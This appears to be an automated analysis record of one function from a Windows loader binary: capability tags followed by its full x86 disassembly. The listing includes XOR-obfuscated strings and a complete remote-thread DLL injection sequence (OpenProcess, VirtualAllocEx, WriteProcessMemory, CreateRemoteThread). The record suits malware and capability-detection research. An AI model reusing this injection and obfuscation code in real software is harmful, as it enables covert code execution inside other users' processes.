Function at 0x404ad0
Capabilities:
Create thread
Inject thread
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422ea7
mov eax, dword fs:[0]
push eax
sub esp, 0x1fc
mov eax, dword [0x434050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x11c], 0
mov ecx, 0x88
xor edx, edx
nop
mov al, byte [edx + 0x430c44]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x18c], al
and ecx, 0x800000ff
jns 0x404b30
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x30
jl 0x404b10
mov byte [ebp - 0x15c], 0
lea edx, [ebp - 0x18c]
mov dword [ebp - 4], 0
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0x67
xor edx, edx
mov al, byte [edx + str.GHIJKLMNOPQRSTUVWXYZ___]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x18c], al
and ecx, 0x800000ff
jns 0x404b84
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x32
jl 0x404b64
mov byte [ebp - 0x15a], 0
lea edx, [ebp - 0x18c]
mov dword [ebp - 4], 1
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0x44
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x430cac]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x134], al
and ecx, 0x800000ff
jns 0x404be0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x404bc0
mov byte [ebp - 0x126], 0
lea edx, [ebp - 0x134]
mov dword [ebp - 4], 2
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0x4f
xor edx, edx
mov al, byte [edx + 0x430cbc]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x184], al
and ecx, 0x800000ff
jns 0x404c34
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x2a
jl 0x404c14
mov byte [ebp - 0x15a], 0
lea edx, [ebp - 0x184]
mov dword [ebp - 4], 3
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0xe8
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x430ce8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x1a8], al
and ecx, 0x800000ff
jns 0x404c90
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x4f
jl 0x404c70
mov byte [ebp - 0x159], 0
lea edx, [ebp - 0x1a8]
mov dword [ebp - 4], 4
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0xe3
xor edx, edx
mov al, byte [edx + 0x430d38]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x134], al
and ecx, 0x800000ff
jns 0x404ce4
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x404cc4
mov byte [ebp - 0x126], 0
lea edx, [ebp - 0x134]
mov dword [ebp - 4], 5
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0xe
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + str.010Rzvw]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x190], al
and ecx, 0x800000ff
jns 0x404d40
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x36
jl 0x404d20
mov byte [ebp - 0x15a], 0
lea edx, [ebp - 0x190]
mov dword [ebp - 4], 6
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0xe8
xor edx, edx
mov al, byte [edx + 0x430ce8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x1a8], al
and ecx, 0x800000ff
jns 0x404d94
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x4f
jl 0x404d74
mov byte [ebp - 0x159], 0
lea edx, [ebp - 0x1a8]
mov dword [ebp - 4], 7
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0xd5
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x430d80]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x134], al
and ecx, 0x800000ff
jns 0x404df0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x404dd0
mov byte [ebp - 0x126], 0
lea edx, [ebp - 0x134]
mov dword [ebp - 4], 8
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 4
mov ecx, 0xb1
xor edx, edx
mov al, byte [edx + 0x430d90]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x14c], al
and ecx, 0x800000ff
jns 0x404e44
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x12
jl 0x404e24
lea eax, [ebp - 0x14c]
mov byte [ebp - 0x13a], 0
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xcf
xor edx, edx
mov al, byte [edx + 0x430da4]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x14c], al
and ecx, 0x800000ff
jns 0x404e85
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x11
jl 0x404e65
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x13b], 0
call fcn.00404a00
xor esi, esi
mov dword [ebp - method.Loader_t.virtual_0], vtable.Loader_t.0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], esi
mov ecx, 0x436170
mov dword [ebp - 4], 9
call fcn.00407450
test eax, eax
jne 0x404ef5
mov eax, dword [0x436160]
push esi
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436160
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436450
call fcn.00407450
test eax, eax
jne 0x404f2b
mov eax, dword [0x436440]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436440
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436730
call fcn.00407450
test eax, eax
jne 0x404f61
mov eax, dword [0x436720]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436720
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436398
call fcn.00407450
test eax, eax
jne 0x404f97
mov eax, dword [0x436388]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436388
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436678
call fcn.00407450
test eax, eax
jne 0x404fcd
mov eax, dword [0x436668]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436668
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x4360b8
call fcn.00407450
test eax, eax
jne 0x405003
mov eax, dword [0x4360a8]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x4360a8
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x4365c0
call fcn.00407450
test eax, eax
jne 0x405039
mov eax, dword [0x4365b0]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x4365b0
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x4367e8
call fcn.00407450
test eax, eax
jne 0x40506f
mov eax, dword [0x4367d8]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x4367d8
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436228
call fcn.00407450
test eax, eax
jne 0x4050a5
mov eax, dword [0x436218]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436218
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x435dd8
call fcn.00407450
test eax, eax
jne 0x4050db
mov eax, dword [0x435dc8]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x435dc8
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436000
call fcn.00407450
test eax, eax
jne 0x405111
mov eax, dword [0x435ff0]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x435ff0
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x4362e0
call fcn.00407450
test eax, eax
jne 0x405147
mov eax, dword [0x4362d0]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x4362d0
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x435d20
call fcn.00407450
test eax, eax
jne 0x40517d
mov eax, dword [0x435d10]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x435d10
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x435f48
call fcn.00407450
test eax, eax
jne 0x4051b3
mov eax, dword [0x435f38]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x435f38
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x435e90
call fcn.00407450
test eax, eax
jne 0x4051e9
mov eax, dword [0x435e80]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x435e80
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436958
call fcn.00407450
test eax, eax
jne 0x40521f
mov eax, dword [0x436948]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436948
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov cl, byte [0x435d0c]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test cl, cl
jne 0x4053ef
mov eax, dword [0x435d08]
test eax, eax
jne 0x40524c
call fcn.00404790
mov cl, byte [0x435d0c]
mov eax, dword [0x435d08]
cmp eax, 1
jne 0x405331
mov eax, dword [0x436890]
mov eax, dword [eax + 4]
test byte [eax + 0x43689c], 6
jne 0x405289
mov eax, dword [0x436a00]
mov ecx, 1
mov eax, dword [eax + 4]
test byte [eax + 0x436a0c], 6
movzx eax, byte [0x436acc]
cmove eax, ecx
mov byte [0x436acc], al
mov ecx, 0x4368a0
call fcn.00407450
test eax, eax
jne 0x4052bf
mov eax, dword [0x436890]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436890
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov ecx, 0x436a10
call fcn.00407450
test eax, eax
jne 0x4052f5
mov eax, dword [0x436a00]
push 0
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, 0x436a00
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
cmp byte [0x436acc], 0
je 0x405912
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], 0x4f4c4f43
push eax
mov dword [ebp - 0x11c], 0x322052
call fcn.0040e2b4
add esp, 4
mov dword [0x435d08], 2
jmp 0x40533a
cmp eax, 2
jne 0x4055c1
mov ecx, 0xa7
xor edx, edx
mov al, byte [edx + 0x430900]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x124], al
and ecx, 0x800000ff
jns 0x405361
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xd
jl 0x405341
mov byte [ebp - 0x117], 0
mov ecx, 0x25
xor edx, edx
mov al, byte [edx + 0x430db8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x1d0], al
and ecx, 0x800000ff
jns 0x405395
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x74
jl 0x405375
push 0
lea eax, [ebp - 0x124]
mov byte [ebp - 0x15c], 0
push eax
lea eax, [ebp - 0x1d0]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
push 0
push 0x402bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [0x434aa0], 4
jge 0x4053e8
push 0x3e8
call edi
cmp byte [0x434aa0], 4
jl 0x4053d8
mov byte [0x435d0c], 1
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.0040b140
add esp, 0xc
mov ecx, 0x84
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x430898]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x14c], al
and ecx, 0x800000ff
jns 0x405430
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x11
jl 0x405410
push 0
lea eax, [ebp - 0x114]
mov byte [ebp - 0x13b], 0
push eax
push 0x104
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], 0x4f4c4f43
push eax
mov dword [ebp - 0x11c], 0x322052
call fcn.0040e2b4
add esp, 4
mov ecx, 0x87
xor edx, edx
mov al, byte [edx + 0x430e30]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x17c], al
and ecx, 0x800000ff
jns 0x4054a2
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x21
jl 0x405482
mov byte [ebp - 0x15b], 0
mov ecx, 0xe5
xor edx, edx
mov al, byte [edx + 0x430e54]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x154], al
and ecx, 0x800000ff
jns 0x4054d6
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1a
jl 0x4054b6
mov byte [ebp - 0x13a], 0
lea edx, [ebp - 0x154]
mov byte [ebp - 4], 0xc
mov ecx, 0x435028
call fcn.00407cd0
push eax
call fcn.00407f70
lea edx, [ebp - 0x17c]
mov ecx, eax
call fcn.00407cd0
push eax
call fcn.00407f70
add esp, 8
mov byte [ebp - 4], 9
mov ecx, 0xa0
xor edx, edx
nop
mov al, byte [edx + 0x430c2c]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x150], al
and ecx, 0x800000ff
jns 0x405540
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x15
jl 0x405520
lea eax, [ebp - 0x150]
mov byte [ebp - 0x13b], 0
push eax
call fcn.0040e2b4
add esp, 4
mov dword [0x435d08], 3
test esi, esi
setne al
xor edx, edx
test al, al
jne 0x4055d3
mov ecx, 0xcf
mov al, byte [edx + 0x430da4]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x14c], al
and ecx, 0x800000ff
jns 0x405596
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x11
jl 0x405576
lea eax, [ebp - 0x14c]
mov byte [ebp - 0x13b], 0
push eax
lea ecx, [ebp - 0x134]
call fcn.00402ab0
push 0x64
call edi
mov esi, dword [ebp - 0x12c]
jmp 0x405566
test cl, cl
jne 0x4053ef
call fcn.0040e1b1
jmp 0x4058f4
mov ecx, 0xeb
nop dword [eax + eax]
mov al, byte [edx + 0x430bb8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x150], al
and ecx, 0x800000ff
jns 0x405600
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x15
jl 0x4055e0
mov byte [ebp - 0x13b], 0
mov dword [ebp - 0x208], 0x430e90
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x170], 0
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x204]
push 0
push eax
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x11c], 1
mov dword [ebp - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0x1a4], 0x60
call fcn.00407a30
mov dword [ebp - 4], 0x10
mov eax, dword [ebp - 0x208]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x20c], eax
lea ecx, [ebp - 0x204]
call fcn.004075e0
push ecx
push 2
lea eax, [ebp - 0x150]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x204]
call fcn.00407520
test eax, eax
jne 0x4056f6
mov eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x208]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004027d0
mov eax, dword [ebp - 0x208]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x20c], eax
lea ecx, [ebp - 0x204]
call fcn.00406660
mov eax, dword [ebp - 0x208]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x20c], eax
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 0x12
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00409087
add esp, 4
mov ecx, 0x84
xor edx, edx
mov al, byte [edx + 0x430898]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x14c], al
and ecx, 0x800000ff
jns 0x405793
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x11
jl 0x405773
mov byte [ebp - 0x13b], 0
test esi, esi
je 0x4058f4
push esi
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov edx, 0x8e
xor esi, esi
nop
mov cl, byte [esi + 0x42f860]
xor cl, dl
inc edx
mov byte [ebp + esi - 0x124], cl
and edx, 0x800000ff
jns 0x4057e0
dec edx
or edx, 0xffffff00
inc edx
inc esi
cmp esi, 0xc
jl 0x4057c0
mov byte [ebp - 0x118], 0
mov ecx, 0x57
xor edx, edx
mov al, byte [edx + str._4_0nlq]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x134], al
and ecx, 0x800000ff
jns 0x405814
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x4057f4
lea eax, [ebp - 0x124]
mov byte [ebp - 0x128], 0
push eax
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov dword [ebp - 0x12c], 0
lea ecx, [ebp - 0x14c]
movq qword [ebp - 0x134], xmm0
mov ebx, eax
mov byte [ebp - 0x128], 0
movq qword [ebp - 0x124], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x11c], 0
mov byte [ebp - 0x118], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405880
push 4
push 0x3000
sub ecx, edx
push ecx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea ecx, [ebp - 0x14c]
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4058a5
push 0
sub ecx, edx
lea eax, [ebp - 0x14c]
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x14c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4058e1
push 0
sub ecx, edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409779
mov esp, ebp
pop ebp
ret
mov eax, 0x430be0
lea ecx, [ebp - 0x158]
sub eax, 0x43cf3471
push eax
call fcn.00408170
push ecx
mov edx, eax
mov byte [ebp - 4], 0xa
mov ecx, 0x435028
call fcn.00407cd0
mov ecx, eax
call fcn.00406b50
mov eax, 0x430c00
lea ecx, [ebp - 0x11c]
sub eax, 0x3b2d58b
push eax
call fcn.004081f0
mov ecx, 0x430c08
mov esi, eax
sub ecx, 0x375fd230
push ecx
lea ecx, [ebp - 0x158]
call fcn.004081b0
push 0x30
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.0040da9e
int3